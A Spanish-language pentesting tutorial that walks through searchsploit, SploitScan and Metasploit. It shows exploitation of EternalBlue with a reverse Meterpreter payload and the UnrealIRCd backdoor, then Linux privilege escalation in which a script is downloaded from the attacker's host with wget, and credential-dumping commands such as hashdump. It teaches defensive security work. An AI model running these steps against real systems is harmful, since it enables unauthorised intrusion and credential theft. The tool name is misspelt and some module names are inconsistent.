

Guía Didáctica Avanzada de Explotación de Vulnerabilidades: Del Reconocimiento a la Validación del Riesgo

Sección I: Los Fundamentos de la Explotación de Vulnerabilidades

1.1. El Rol de la Explotación en el Ciclo de Vida del Hacking Ético

El hacking ético, una disciplina proactiva y legal, es fundamental en el campo de la ciberseguridad. Conocido también como "pruebas de penetración" o *pentesting*, su propósito primordial es examinar deliberadamente los sistemas informáticos y las redes para descubrir debilidades y vulnerabilidades de seguridad.¹ A diferencia de los ciberdelincuentes, cuyo objetivo es el lucro o el daño, el

hacker ético opera con un propósito defensivo: identificar y mitigar fallos antes de que un atacante malintencionado pueda aprovecharlos.² Este proceso se enmarca en metodologías estructuradas y reconocidas internacionalmente, como la OSSTMM, OWASP y NIST.³

La explotación de vulnerabilidades constituye una fase crítica dentro de este ciclo. Es el punto donde el profesional va más allá de la simple identificación de una falla para demostrar su impacto real. Si las fases previas de reconocimiento y escaneo de vulnerabilidades son comparables a la recopilación de un censo y la inspección de los cimientos de un edificio, la fase de explotación es la prueba de carga que verifica si esos cimientos realmente fallarán. Un analista de ciberseguridad profesional comprende que la explotación es la fase que transforma una "vulnerabilidad potencial" en una "vulnerabilidad activamente explotable", proporcionando la evidencia práctica necesaria para que una organización comprenda el riesgo que enfrenta y priorice las acciones correctivas.²

1.2. La Distinción Crítica: Escaneo vs. Explotación

A menudo, la terminología del sector puede generar confusión, y es crucial para un futuro analista comprender la diferencia fundamental entre el escaneo de vulnerabilidades y la explotación.

El **escaneo de vulnerabilidades** es un proceso típicamente automatizado, que utiliza *software* especializado para escanear un sistema o red en busca de debilidades conocidas.⁵ Este enfoque es amplio, no intrusivo y diseñado para causar una interrupción mínima en las operaciones, lo que lo hace ideal para el monitoreo continuo y la identificación masiva de posibles fallos.⁴ Si bien es una herramienta valiosa para obtener una "visión amplia pero menos detallada" de la postura de seguridad de una organización, el escaneo por sí solo no puede confirmar si una vulnerabilidad es realmente explotable en un entorno del mundo real.⁵

Por el contrario, las **pruebas de penetración** implican una intervención manual y activa por parte de expertos en seguridad.⁴ Este proceso va más allá de la mera detección para emular de forma realista las tácticas de un atacante, aprovechando activamente las vulnerabilidades para evaluar su impacto potencial en la integridad y confidencialidad de un sistema.⁴ La diferencia fundamental, más allá de lo técnico, radica en el valor estratégico y económico que cada uno aporta. Si bien el escaneo es más asequible, el alto costo de las pruebas de penetración se justifica por la experiencia humana que se invierte, ya que los profesionales pueden encontrar y explotar fallos que las herramientas automatizadas pasarían por alto.⁵ El valor incalculable de un

pentest radica en el informe detallado que valida el riesgo y proporciona asesoramiento de remediación preciso y prioritario.³

1.3. Consideraciones Éticas y Legales de la Explotación Controlada

La legalidad de la explotación de vulnerabilidades en el marco del hacking ético se sustenta en un pilar inmutable: el **consentimiento explícito**.² Antes de cualquier acción, el experto debe contar con la autorización explícita, por escrito y firmada, del propietario del sistema.⁶ Este acuerdo no solo sirve como un contrato legal, sino que también define el alcance, los objetivos y las limitaciones del procedimiento, asegurando que las pruebas se mantengan dentro de los parámetros acordados.³ Por ejemplo, si el contrato no lo permite, el analista debe abstenerse de realizar ataques disruptivos como los de denegación de servicio (DoS).⁵

El concepto de consentimiento en este ámbito profesional puede ser análogamente entendido a partir de principios éticos más amplios. Un consentimiento válido se da de manera **libre y sin presiones**, es **específico** (decir sí a una prueba de penetración no significa dar carta blanca a cualquier acción no acordada), y es **reversible** en cualquier momento.⁷ La legalidad de la acción se basa no solo en un documento, sino en la confianza y el respeto por los límites del cliente. Por último, una responsabilidad crucial del analista es la

divulgación responsable de vulnerabilidades.⁹ Si se descubre un fallo no conocido (un

zero-day), el protocolo ético y profesional dicta que se debe informar al proveedor afectado

para que desarrolle un parche antes de hacer pública la información.⁹ Este proceso ayuda a prevenir ataques a gran escala y demuestra el compromiso del analista con la seguridad de toda la comunidad.

Sección II: La Base de Datos del Hacking: Buscando y Priorizando Exploits

2.1. searchsploit: Navegando en la Base de Datos Local de Exploit-DB

Antes de proceder a la explotación, el analista debe encontrar la herramienta adecuada para la vulnerabilidad identificada. searchsploit es una utilidad de línea de comandos indispensable que permite buscar exploits y pruebas de concepto (PoCs) en la base de datos local de Exploit-DB, un archivo de exploits públicos que viene preinstalado en distribuciones como Kali Linux.¹¹

Los comandos esenciales para la navegación de esta base de datos son:

- searchsploit: Al ejecutarlo sin argumentos, muestra el menú de ayuda y los ejemplos de uso.¹¹
- searchsploit -u: Este comando es crucial para mantener la base de datos actualizada, ya que sincroniza la copia local con el repositorio en línea. Se recomienda realizar esta actualización periódicamente para tener acceso a los exploits más recientes.¹¹
- searchsploit <término>: Permite realizar búsquedas simples por palabras clave. Por ejemplo, searchsploit apache mostrará todos los exploits relacionados con ese servidor web.¹¹
- searchsploit <término> <versión>: Para resultados más precisos, se puede combinar el nombre del *software* con su versión, como en searchsploit OpenSSH 7.2.¹¹
- searchsploit <cve>: También es posible buscar exploits directamente por su identificador CVE, como searchsploit CVE-2017-0144.¹²
- searchsploit --path <id> o searchsploit -p <id>: Una vez que se ha encontrado un exploit, este comando muestra la ruta local del archivo para que el analista pueda copiarlo o revisarlo en detalle.¹¹

2.2. sploitscan: Más Allá de la Búsqueda Local, un Enfoque en la Probabilidad y Priorización

Si bien searchsploit es una herramienta excelente para encontrar un exploit, un analista profesional necesita ir más allá. El verdadero valor reside en la capacidad de priorizar las

vulnerabilidades. `spliotscan` es una utilidad sofisticada diseñada para agilizar este proceso, agregando información de múltiples fuentes para evaluar la probabilidad de explotación de una CVE.¹⁵ Su función es ayudar a los equipos de seguridad a tomar decisiones informadas sobre qué vulnerabilidades corregir primero.¹⁶

Entre sus características más destacadas se encuentran:

- **Integración de Datos:** Combina información de bases de datos como el Exploit Prediction Scoring System (EPSS), que proporciona una puntuación de la probabilidad de explotación de una CVE, y el catálogo de Vulnerabilidades Explotadas Conocidas (KEV) de CISA, que identifica los fallos que están siendo aprovechados activamente en el mundo real.¹⁵
- **Sistema de Prioridad de Parcheo:** Asigna una calificación de prioridad (A+ a D) basada en factores como las puntuaciones CVSS, EPSS y la disponibilidad de exploits públicos, lo que facilita la toma de decisiones estratégicas.¹⁶
- **Importación de Escáneres:** Permite importar resultados de escáneres de vulnerabilidades populares como Nessus, Nexpose, OpenVAS o Docker. Esto automatiza la búsqueda de exploits conocidos para todas las CVEs identificadas en el informe, acelerando el flujo de trabajo de la validación del riesgo.¹⁵

Comandos Prácticos de `spliotscan`:

- `spliotscan CVE-2024-1709`: Consulta de una sola CVE para obtener información detallada y de priorización.¹⁶
- `spliotscan CVE-2024-1709 CVE-2024-21413`: Permite consultar múltiples CVEs en una sola ejecución.¹⁶
- `spliotscan -t nessus -i /ruta/al/informe.nessus`: Este comando demuestra el flujo de trabajo profesional. El analista importa un informe de Nessus, `spliotscan` lee las CVEs identificadas y presenta un informe priorizado de exploits disponibles.¹⁷

La combinación de `searchsploit` y `spliotscan` ilustra la evolución del pensamiento de un analista. Mientras que la primera herramienta es útil para encontrar un *exploit*, la segunda es invaluable para validar la urgencia de su uso. Si un escáner reporta una vulnerabilidad y `spliotscan` revela que tiene una alta puntuación EPSS y está en la lista KEV de CISA, el analista sabe que esa es la vulnerabilidad que debe priorizar para demostrar el riesgo, justificando el valor de su trabajo.

Característica	<code>searchsploit</code>	<code>spliotscan</code>
Propósito Principal	Búsqueda local de exploits y PoCs por nombre o CVE.	Priorización y agregación de información de CVEs.

Tipo de Búsqueda	Basada en palabras clave o CVEs, directamente sobre la base de datos local.	Agrega datos de múltiples fuentes para un solo CVE o una lista de CVEs.
Fuentes de Datos	Base de datos local de Exploit-DB, sincronizada con el repositorio de GitHub.	Múltiples fuentes en línea: NVD (CVE), ExploitDB, GitHub, EPSS, CISA KEV, HackerOne.
Principales Indicadores	Título, ruta y ID de la base de datos.	Probabilidad de explotación (EPSS), si está en KEV de CISA, sistema de prioridad de parcheo (A+ a D).
Fases del Pentesting	Búsqueda de exploits durante la fase de análisis de vulnerabilidades.	Priorización de vulnerabilidades después del escaneo y antes de la explotación.
Valor para el Analista	Permite encontrar rápidamente un exploit o PoC para una vulnerabilidad conocida.	Ayuda a tomar decisiones estratégicas sobre qué vulnerabilidades explotar primero para demostrar el mayor riesgo.

Sección III: El Metasploit Framework: Una Plataforma para la Acción

3.1. Introducción a la Consola (msfconsole) y su Arquitectura

El Metasploit Framework es una de las herramientas más poderosas y ampliamente utilizadas en el campo de las pruebas de penetración. No es una simple aplicación, sino una plataforma modular que estandariza el proceso de desarrollo y ejecución de exploits.¹⁸ Su arquitectura se basa en diferentes tipos de módulos, cada uno con una función específica:

- **Exploits:** Son las piezas de código que aprovechan una vulnerabilidad en un sistema

objetivo para obtener acceso.¹⁹

- **Auxiliary:** Módulos que no obtienen acceso directamente, pero son útiles en el proceso de reconocimiento y post-explotación (por ejemplo, escáneres de vulnerabilidades o *fuzzers*).²⁰
- **Payloads:** Es el código que se ejecuta en el sistema objetivo después de que la explotación ha sido exitosa. Un *payload* puede ser una shell inversa, una conexión a un Meterpreter o un comando arbitrario.¹⁸
- **Post:** Módulos que se ejecutan una vez que se ha obtenido acceso al sistema, y se utilizan para tareas como la enumeración del sistema, la persistencia o la escalada de privilegios.²⁰

La interfaz principal para interactuar con este *framework* es la consola de línea de comandos, conocida como msfconsole.¹⁸

3.2. El Ciclo de Vida de un Ataque con Metasploit

Un analista de ciberseguridad sigue un flujo de trabajo metodológico para garantizar la eficiencia y la seguridad durante las pruebas. Dentro de msfconsole, este proceso se puede resumir en los siguientes pasos:

1. **Búsqueda (search):** Se utiliza este comando para encontrar el módulo de Metasploit adecuado para la vulnerabilidad objetivo.¹⁹
2. **Selección (use):** Una vez que se ha encontrado el módulo, se carga en el contexto de la consola con el comando use. El *prompt* cambia para reflejar el módulo seleccionado.¹⁹
3. **Configuración (set):** La mayoría de los módulos requieren la configuración de opciones específicas, como la dirección IP del objetivo (RHOSTS) o el puerto local (LPORT).¹⁸
4. **Verificación (show options):** Este comando es indispensable para revisar que todas las opciones necesarias estén correctamente configuradas antes de proceder. También se puede utilizar show missing para ver qué opciones obligatorias faltan por configurar.¹⁹
5. **Comprobación (check):** Una característica profesional que permite al analista verificar de forma no invasiva si un objetivo es vulnerable a un *exploit* específico antes de ejecutarlo por completo, lo que minimiza el riesgo de interrupción del servicio.¹⁹
6. **Explotación (exploit o run):** Finalmente, una vez que todas las opciones están configuradas y se ha verificado que el objetivo es vulnerable, se ejecuta el módulo para entregar el *payload* y obtener acceso.¹⁹

3.3. Comandos Fundamentales de msfconsole para el Explorador

La siguiente tabla resume los comandos más importantes para un analista de penetración que comienza a trabajar con Metasploit.

Comando	Propósito	Ejemplo de Uso	Observaciones
msfconsole	Inicia la consola del framework.	root@kali:~# msfconsole	El inicio puede tardar unos segundos.
search	Busca módulos de Metasploit.	msf > search unrealircd	Se puede buscar por nombre, CVE, plataforma, etc.
use	Carga un módulo en el contexto actual.	msf > use exploit/unix/irc/unrealircd_3281_backdoor	El <i>prompt</i> cambia para mostrar el módulo activo.
set	Establece un valor para una opción del módulo.	msf exploit(unrealircd_3281_backdoor) > set RHOSTS 192.168.1.100	Las opciones se pueden ver con show options.
show options	Muestra las opciones configurables del módulo cargado.	msf exploit(unrealircd_3281_backdoor) > show options	Las opciones marcadas con "yes" son obligatorias.
check	Verifica si el objetivo es vulnerable sin ejecutar el <i>exploit</i> .	msf exploit(ms17_010_eternalblue) > check	No todos los módulos tienen esta funcionalidad.
exploit o run	Ejecuta el módulo cargado.	msf exploit(ms17_010_eternalblue) > exploit	Es el comando final para iniciar el ataque.

back	Vuelve al contexto anterior de la consola.	msf exploit(unreal_ircd_3281_backdoor) > back	Elimina el módulo cargado y regresa al <i>prompt</i> principal.
------	--	---	---

Sección IV: Estudio de Caso Práctico en Windows: La Amenaza Persistente de EternalBlue (MS17-010)

4.1. Contexto Histórico y Funcionamiento Técnico de EternalBlue

La vulnerabilidad EternalBlue (CVE-2017-0144) es un recordatorio de que los fallos de seguridad pueden tener un impacto devastador a escala global. Originalmente desarrollado por la Agencia de Seguridad Nacional de EE. UU. (NSA), el exploit fue filtrado al público en 2017 por el grupo de *hackers* Shadow Brokers. Poco después, fue utilizado por el *ransomware* WannaCry, que paralizó miles de organizaciones en todo el mundo.²⁴

Técnicamente, EternalBlue es un *buffer overflow* en el protocolo Server Message Block versión 1 (SMBv1) de Windows.²³ Un atacante puede enviar un paquete SMBv1 diseñado de forma maliciosa a un servidor vulnerable, lo que provoca que una operación de memoria se desborde y permita la ejecución de código arbitrario a nivel del kernel.²³ Microsoft emitió un parche de seguridad (MS17-010) para corregir la vulnerabilidad en marzo de 2017.²⁴ La gravedad del fallo fue tal que Microsoft incluso lanzó parches para sistemas operativos que ya no tenían soporte, como Windows XP.²⁴

4.2. El Proceso de Explotación con Metasploit

Un analista profesional siempre comienza con la diligencia debida. Antes de lanzar el *exploit*, se puede verificar la presencia del parche MS17-010 en el sistema objetivo de forma no invasiva utilizando comandos nativos de Windows:

- Para CMD: `wmic qfe get hotfixid | find "KB4012212"`.²⁵
- Para PowerShell: `get-hotfix -id KB4012212,KB4012215,KB4015549`.²⁵

Si se confirma que el sistema es vulnerable, se procede con la explotación controlada en un entorno de laboratorio.

1. **Selección del Módulo:** Se utiliza el comando `use` para cargar el módulo EternalBlue de Metasploit.²³

msf > use exploit/windows/smb/ms17_010_eternalblue

2. **Configuración de Opciones:** Se visualizan las opciones requeridas con show options y se establecen los parámetros necesarios.²² La tabla a continuación detalla las opciones más importantes:

Opción	Propósito	Valor de Ejemplo	Observaciones
RHOSTS	La dirección IP del sistema objetivo.	set RHOSTS 192.168.1.100	Opción obligatoria para la mayoría de los módulos.
LHOST	La dirección IP del equipo atacante, donde se escuchará la conexión de la <i>shell</i> inversa.	set LHOST 192.168.1.101	La máquina víctima se conectará a esta dirección.
PAYLOAD	El tipo de <i>payload</i> que se ejecutará en el sistema objetivo.	set payload windows/x64/meterpreter/reverse_tcp	Meterpreter es un <i>payload</i> avanzado y versátil. ²¹

3. **Ejecución del Exploit:** Antes de ejecutar el ataque, se puede usar el comando check para confirmar la vulnerabilidad del objetivo. Una vez verificado, se lanza la explotación.¹⁹

msf exploit(ms17_010_eternalblue) > exploit

Una advertencia importante es que, al igual que el exploit original de Equation Group, este módulo no garantiza una tasa de éxito del 100% y, en ocasiones, puede causar inestabilidad en el sistema objetivo, como un BSOD (Pantalla Azul de la Muerte) o un reinicio.²³ Este riesgo subraya la importancia de realizar las pruebas en entornos controlados.

4.3. Post-Explotación: La Sesión de Meterpreter

Si el ataque es exitoso, el analista obtendrá una sesión de Meterpreter, un *payload* avanzado que permite una interacción modular y sigilosa con el sistema comprometido. Desde esta sesión, es posible realizar una serie de tareas de post-explotación, como:

- sysinfo: Recopilar información del sistema operativo.

- `getuid`: Muestra el usuario actual.
- `shell`: Acceder a una línea de comandos nativa de Windows (CMD).
- `hashdump`: Extraer los *hashes* de las contraseñas para intentar descifrarlas posteriormente.

Sección V: Estudio de Caso Práctico en GNU/Linux: De la Infiltración a la Escalada de Privilegios

5.1. La Infiltración Inicial: Explotando UnrealIRCd (CVE-2010-2075)

Las auditorías en sistemas GNU/Linux a menudo implican la explotación de servicios de red. Un caso de estudio clásico es la vulnerabilidad de puerta trasera (backdoor) en el servidor IRC UnrealIRCd, identificada como CVE-2010-2075.²⁶ Esta vulnerabilidad se originó de una modificación troyanizada en una versión específica del

software, que permitía a un atacante ejecutar comandos arbitrarios de forma remota.²⁷

El proceso de explotación con Metasploit es sencillo y sigue la metodología ya establecida:

1. **Búsqueda:** Se busca el módulo relevante con el comando `search unrealircd`.
2. **Selección:** Se carga el módulo `exploit/unix/irc/unreal_ircd_3281_backdoor`.²⁸

```
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
```

3. **Configuración y Explotación:** Se establecen las opciones requeridas (RHOSTS) y se ejecuta el módulo.¹⁸

```
msf exploit(unreal_ircd_3281_backdoor) > set RHOSTS 192.168.1.102
```

```
msf exploit(unreal_ircd_3281_backdoor) > exploit
```

Es importante notar que esta vulnerabilidad también puede ser verificada y explotada con otras herramientas como un script de Nmap, lo que demuestra la versatilidad de la caja de herramientas de un analista.²⁸

5.2. Post-Explotación: La Escalada de Privilegios en Linux

La explotación de un servicio de red como UnrealIRCd típicamente otorga una *shell* con privilegios de un usuario de bajo nivel, como `ircd`. El siguiente paso, y a menudo el más crítico en una auditoría, es la escalada de privilegios, es decir, obtener acceso como el usuario `root`

para demostrar el control total sobre el sistema.¹³

Un analista profesional no busca ciegamente un *exploit*. Primero, se realiza una fase de "enumeración" para recopilar información sobre el sistema, como la versión del kernel, la configuración del sistema de archivos y los permisos.¹³ En lugar de realizar esta tarea manualmente, herramientas especializadas como

linux-exploit-suggester automatizan el proceso.

linux-exploit-suggester es un *script* de *shell* que toma la versión del kernel (`uname -r`) y devuelve una lista de CVEs y exploits de escalada de privilegios conocidos que son potencialmente aplicables a ese sistema.¹³ Esto conecta de forma inteligente la fase de enumeración con la de explotación.

Ejemplo Práctico de Flujo de Trabajo ³⁰:

1. **Obtener Acceso Inicial:** Se obtiene una *shell* de usuario (ej., `ircd`) a través de una explotación exitosa.
2. **Transferir y Ejecutar el Script:**
 - En la máquina atacante, se configura un servidor web simple, por ejemplo, con Python: `python3 -m http.server`.
 - En la máquina víctima, se descarga el script: `wget http://<IP_atacante>:<puerto>/linux-exploit-suggester.sh`.
 - Se le otorgan permisos de ejecución: `chmod +x linux-exploit-suggester.sh`.
 - Se ejecuta el script: `./linux-exploit-suggester.sh`.
3. **Análisis y Explotación:** El *script* generará un reporte con una lista de vulnerabilidades de kernel aplicables, a menudo con enlaces a repositorios de GitHub que contienen las pruebas de concepto (PoCs).³⁰ El analista selecciona el PoC más prometedor, lo descarga (`git clone`), lo compila (`make`, ya que a menudo está escrito en C) y lo ejecuta.³⁰
4. **Verificación:** La prueba final de éxito es obtener una *shell* con privilegios de root, lo que se puede verificar con el comando `whoami`.³⁰

Esta metodología resalta la importancia de la fase de post-explotación y demuestra que la obtención de una *shell* inicial es solo el primer paso en un *pentest* completo.

Comando	Propósito	Ejemplo
<code>whoami</code>	Muestra el nombre del usuario actual.	<code>ircd</code> o <code>root</code>
<code>uname -a</code>	Muestra la versión del	Linux kali

	kernel y el sistema operativo.	5.10.0-kali7-amd64 #1 SMP Debian 5.10.38-1 (2021-05-27) x86_64 GNU/Linux
id	Muestra los identificadores de usuario y grupo.	uid=1001(user) gid=1001(user) groups=1001(user)
ls -la	Lista los archivos en un directorio con permisos detallados.	drwxr-xr-x 2 user user 4096 Apr 13 14:30.
cat /etc/passwd	Muestra el contenido del archivo que contiene la información de los usuarios.	root:x:0:0:root:/root:/bin/bash
sudo -l	Muestra los comandos que el usuario actual puede ejecutar con privilegios de <i>root</i> .	(ALL) ALL

Sección VI: De la Explotación a la Defensa: El Rol del Analista de Ciberseguridad

6.1. Documentación de Hallazgos y Reporte Técnico

La fase de explotación no tiene valor para una organización si no está respaldada por una documentación rigurosa y un reporte técnico de alta calidad. El verdadero trabajo de un analista de ciberseguridad se manifiesta en el informe final, que traduce los hallazgos técnicos en información accionable para la dirección y los equipos de TI.³

Un informe de *pentesting* bien elaborado debe incluir, como mínimo, los siguientes componentes ²:

- **Resumen Ejecutivo:** Una síntesis no técnica de los hallazgos más críticos para que la alta dirección comprenda el impacto sin necesidad de detalles técnicos.²
- **Descripción de las Vulnerabilidades:** Un listado detallado de los fallos identificados, su clasificación por severidad y su impacto potencial en la organización.²
- **Técnicas Utilizadas:** Una explicación clara y paso a paso de cómo se explotaron las vulnerabilidades, con evidencia como capturas de pantalla o registros de comandos, para demostrar de manera concluyente el riesgo.²
- **Recomendaciones de Remediación:** La parte más importante del informe. Proporciona una guía clara, priorizada y específica para que la organización pueda corregir las vulnerabilidades y fortalecer sus defensas.²

6.2. Medidas de Mitigación y Recomendaciones de Seguridad

Con el conocimiento adquirido durante la fase de explotación, un analista puede ofrecer recomendaciones de seguridad precisas y valiosas.³ La mitigación de riesgos es una responsabilidad fundamental. Algunas medidas generales incluyen la aplicación de parches de seguridad de forma regular, la desactivación de servicios de red no esenciales, el monitoreo continuo y la implementación de una estrategia de respaldo y recuperación ante desastres.²¹

Aplicadas a los casos de estudio, las recomendaciones se vuelven más específicas:

- **Para EternalBlue (MS17-010):** La medida más efectiva es aplicar el parche de seguridad de Microsoft. Si esto no es posible, se recomienda desactivar el protocolo SMBv1 y habilitar una autenticación más robusta.²²
- **Para UnrealIRCd:** La solución es actualizar el *software* a una versión no vulnerable y verificar las firmas de los binarios instalados para asegurar que no han sido manipulados.²⁶

6.3. El Futuro Profesional: Habilidades y Conocimientos Clave

El camino para convertirse en analista de ciberseguridad es un viaje de mejora continua.³ Los comandos y las herramientas mostradas en este informe son el punto de partida, pero el valor de un profesional va mucho más allá. Las habilidades esenciales incluyen un conocimiento profundo de redes, sistemas operativos, lenguajes de

scripting (como Python y Bash) y, fundamentalmente, la capacidad de aplicar un pensamiento crítico y lateral para resolver problemas complejos.²

La velocidad con la que surgen nuevas vulnerabilidades (como las listadas por

linux-exploit-suggester) o con la que se actualizan herramientas como sploitscan¹¹ exige un compromiso de por vida con el aprendizaje. La meta final no es solo saber

cómo se realiza un ataque, sino comprender *por qué* y *para qué* se hace. El analista exitoso es aquel que puede traducir la amenaza técnica de una explotación exitosa en un plan de acción estratégico que fortalezca la postura de seguridad de una organización, convirtiendo el conocimiento de ataque en una sólida estrategia de defensa.³

Obras citadas

1. www.malwarebytes.com, fecha de acceso: septiembre 1, 2025, <https://www.malwarebytes.com/es/cybersecurity/basics/what-is-ethical-hacking#:~:text=El%20hacking%20%C3%A9tico%2C%20tambi%C3%A9n%20conocido,vulnerabilidades%20y%20debilidades%20de%20seguridad.>
2. Hacking ético: qué es y su importancia en la ciberseguridad - The Bridge, fecha de acceso: septiembre 1, 2025, <https://thebridge.tech/blog/que-es-hacking-etico-ciberseguridad/>
3. Hacking ético: procedimiento, técnicas y recomendaciones | S2GRUPO, fecha de acceso: septiembre 1, 2025, <https://s2grupo.es/hacking-etico-procedimiento-tecnicas-recomendaciones/>
4. Diferencias clave entre Pen Testing y escaneo de vulnerabilidades - relianoid, fecha de acceso: septiembre 1, 2025, <https://www.relianoid.com/es/blog/diferencias-clave-entre-el-escaneo-de-vulnerabilidades-de-prueba-de-penetraci%C3%B3n/>
5. Pruebas de penetración vs. Escaneo de vulnerabilidades: ¿Qué es mejor para las pymes?, fecha de acceso: septiembre 1, 2025, <https://wise-meetings.com/pruebas-de-penetracion-vs-escaneo-de-vulnerabilidades-que-es-mejor-para-las-pymes/>
6. ¿Qué es el hacking ético y en qué marco legal se encuentra?, fecha de acceso: septiembre 1, 2025, <https://legalveritas.es/hacking-etico-marco-legal/>
7. ¿Qué es el Consentimiento Sexual? | Datos sobre Violación y Agresión Sexual, fecha de acceso: septiembre 1, 2025, <https://www.plannedparenthood.org/es/temas-de-salud/relaciones/consentimiento-sexual>
8. LA FIGURA DEL CONSENTIMIENTO en casos de violencia sexual contra las mujeres por razones de género, fecha de acceso: septiembre 1, 2025, <https://www.oas.org/en/mesecvi/docs/RG%20Consentimiento.pdf>
9. ¿Qué es la divulgación de vulnerabilidades? - Términos y definiciones de ciberseguridad, fecha de acceso: septiembre 1, 2025, <https://www.vpnunlimited.com/es/help/cybersecurity/vulnerability-disclosure>
10. Programa de divulgación de vulnerabilidades responsable - Seguridad de la información | ARCA - AFIP, fecha de acceso: septiembre 1, 2025, <https://www.afip.gob.ar/seguridad/programa-divulgacion/default.asp>
11. SearchSploit - Searching For Exploits - YouTube, fecha de acceso: septiembre 1, 2025, <https://www.youtube.com/watch?v=29GIfaH5qCM>

12. exploitdb | Kali Linux Tools, fecha de acceso: septiembre 1, 2025,
<https://www.kali.org/tools/exploitdb/>
13. Linux Post-Exploit Cheat Sheet - Pacific Cybersecurity, fecha de acceso: septiembre 1, 2025,
<https://cyberlab.pacific.edu/resources/linux-post-exploit-cheat-sheet>
14. searchsploit · GitHub Topics, fecha de acceso: septiembre 1, 2025,
<https://github.com/topics/searchsploit>
15. SploitScan - Cibersecurity.io, fecha de acceso: septiembre 1, 2025,
<https://www.cibersecurity.io/sploitscan/>
16. SploitScan is a sophisticated cybersecurity utility designed to provide detailed information on vulnerabilities and associated exploits. - GitHub, fecha de acceso: septiembre 1, 2025, <https://github.com/xaitax/SploitScan>
17. sploitscan | Kali Linux Tools, fecha de acceso: septiembre 1, 2025,
<https://www.kali.org/tools/sploitscan/>
18. Pruebas de penetración para principiantes: explotando una vulnerabilidad con Metasploit Framework - Revista .Seguridad UNAM, fecha de acceso: septiembre 1, 2025, <https://revista.seguridad.unam.mx/print/2186>
19. Manual Exploitation | Metasploit Documentation, fecha de acceso: septiembre 1, 2025, <https://docs.rapid7.com/metasploit/manual-exploitation/>
20. Msfconsole Commands - Metasploit Unleashed - OffSec, fecha de acceso: septiembre 1, 2025,
<https://www.offsec.com/metasploit-unleashed/msfconsole-commands/>
21. CAPACIDADES TÉCNICAS, LEGALES Y DE GESTIÓN PARA EQUIPOS BLUETEAM Y REDTEAM GERMAN GALVIS RINCON UNIVERSIDAD NACIONAL ABIERTA Y - Repositorio Institucional UNAD, fecha de acceso: septiembre 1, 2025,
<https://repository.unad.edu.co/bitstream/handle/10596/37147/88239535.pdf?sequence=1>
22. Cómo explotar vulnerabilidad BlueKeep con Metasploit - WeLiveSecurity, fecha de acceso: septiembre 1, 2025,
<https://www.welivesecurity.com/es/recursos-herramientas/como-explotar-vulnerabilidad-bluekeep-con-metasploit/>
23. MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption - Rapid7, fecha de acceso: septiembre 1, 2025,
https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/
24. ¿Qué es EternalBlue y por qué el exploit MS17-010 sigue siendo relevante? - Avast, fecha de acceso: septiembre 1, 2025,
<https://www.avast.com/es-es/c-eternalblue>
25. Cómo comprobar que MS17-010 está instalado - Soporte técnico de Microsoft, fecha de acceso: septiembre 1, 2025,
<https://support.microsoft.com/es-es/topic/c%C3%B3mo-comprobar-que-ms17-010-est%C3%A1-instalado-f55d3f13-7a9c-688c-260b-477d0ec9f2c8>
26. UnreallRCd Backdoor (CVE-2010-2075) - Vulnerability & Exploit Database, fecha de acceso: septiembre 1, 2025,
https://pentest-tools.com/vulnerabilities-exploits/unrealircd-backdoor_18768
27. CVE-2010-2075 Detail - NVD, fecha de acceso: septiembre 1, 2025,

<https://nvd.nist.gov/vuln/detail/cve-2010-2075>

28. irc-unrealircd-backdoor NSE script — Nmap Scripting Engine documentation,
fecha de acceso: septiembre 1, 2025,

<https://nmap.org/nsedoc/scripts/irc-unrealircd-backdoor.html>

29. Linux Exploit Suggester - Advanced Infrastructure Penetration Testing [Book],
fecha de acceso: septiembre 1, 2025,

<https://www.oreilly.com/library/view/advanced-infrastructure-penetration/9781788624480/6008ba0b-1444-4292-a89a-985fed52c43f.xhtml>

30. Privilege Escalation Automation Tool - Linux Exploit Suggester  - YouTube,
fecha de acceso: septiembre 1, 2025,

<https://www.youtube.com/watch?v=VeX4S9jSH-0>